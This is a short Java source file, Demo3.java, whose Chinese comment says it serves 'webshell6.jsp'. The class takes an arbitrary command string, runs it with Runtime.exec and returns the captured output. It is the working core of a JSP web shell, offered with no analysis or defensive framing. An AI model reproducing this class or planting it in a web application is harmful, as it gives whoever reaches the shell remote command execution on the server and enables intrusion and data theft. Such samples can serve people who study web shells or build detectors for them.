Demo3.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * 该类用于 webshell6.jsp
 */
public class Demo3 {
    String sret;

    public Demo3(String cmd) {
        InputStream in = null;
        try {
            in = Runtime.getRuntime().exec(cmd.split(" ")).getInputStream();
            StringBuilder sb = new StringBuilder();
            BufferedReader br = new BufferedReader(new InputStreamReader(in));
            String line = null;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            sret = sb.toString();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (in != null) {
                try {
                    in.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

    @Override
    public String toString() {
        return sret;
    }
}